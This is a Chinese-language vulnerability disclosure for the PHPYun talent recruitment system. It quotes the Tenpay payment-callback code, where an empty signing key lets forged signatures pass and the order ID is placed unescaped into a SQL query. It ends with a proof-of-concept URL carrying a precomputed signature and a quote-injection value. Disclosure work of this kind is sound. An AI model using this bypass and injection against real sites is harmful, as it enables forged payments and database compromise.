### 简要描述：

php云人才系统 注入漏洞

### 详细说明：

php云人才系统 注入漏洞

tenpay的KEY没有初始化

导致的注入漏洞！

```

/api/tenpay/return_url.php

require_once(dirname(dirname(dirname(__FILE__)))."/data/db.config.php");

require_once(dirname(dirname(dirname(__FILE__)))."/include/mysql.class.php");

$db = new mysql($db_config['dbhost'], $db_config['dbuser'], $db_config['dbpass'], $db_config['dbname'], ALL_PS, $db_config['charset']);

/* 密钥 */

$key =$tenpay[sy_tenpaycode];

//密钥没有定义

=========

tenpay_data.php

/*

* Created on 2012

* Link for shyflc@qq.com

* This PHPYun.Rencai System Powered by PHPYun.com

*/

$tenpaydata=array("sy_weburl"=>"http://www.job.com","sy_tenpayid"=>"","sy_tenpaycode"=>"")//没有定义KEY 所以是空~~

;

?>

=========

/* 创建支付应答对象 */

$resHandler = new PayResponseHandler();

$resHandler->setKey($key);//还是key没有初始化~~

//判断签名

if($resHandler->isTenpaySign()) {//验证过程

/**********************************3

function isTenpaySign() {

$cmdno = $this->getParameter("cmdno");

$pay_result = $this->getParameter("pay_result");

$date = $this->getParameter("date");

$transaction_id = $this->getParameter("transaction_id");

$sp_billno = $this->getParameter("sp_billno");

$total_fee = $this->getParameter("total_fee");

$fee_type = $this->getParameter("fee_type");

$attach = $this->getParameter("attach");

$key = $this->getKey();

$signPars = "";

//组织签名串

$signPars = "cmdno=" . $cmdno . "&" .

"pay_result=" . $pay_result . "&" .

"date=" . $date . "&" .

"transaction_id=" . $transaction_id . "&" .

"sp_billno=" . $sp_billno . "&" .

"total_fee=" . $total_fee . "&" .

"fee_type=" . $fee_type . "&" .

"attach=" . $attach . "&" .

"key=" . $key;

$sign = strtolower(md5($signPars));//key是空 其他都是可控 我们之间就可以生成key 所以验证形同虚设 没有设置key的时候

***********************************/

//交易单号

$transaction_id = $resHandler->getParameter("transaction_id");

//本站单号

$sp_billno = $resHandler->getParameter("sp_billno");

//金额,以分为单位

$total_fee = $resHandler->getParameter("total_fee");

//支付结果

$pay_result = $resHandler->getParameter("pay_result");

//类型

$attach = $resHandler->getParameter("attach");

if( "0" == $pay_result ) {

//------------------------------

//处理业务开始

//------------------------------

//注意交易单不要重复处理

//注意判断返回金额

//处理本站信息开始

echo "select * from `".$db_config["def"]."company_order` where `order_id`='$sp_billno'";

$sql=$db->query("select * from `".$db_config["def"]."company_order` where `order_id`='$sp_billno'");

$row=mysql_fetch_array($sql);

```

### 漏洞证明：

测试方法

http://127.0.0.1/yun3/api/tenpay/return_url.php?sign=ba7b763f604fb46432eac7fb601c55c1&sp_billno=1%27&pay_result=0

[](https://images.seebug.org/upload/201311/22174047d7b1300aa8b4cb2ab4c0ff13d0fe5f89.jpg)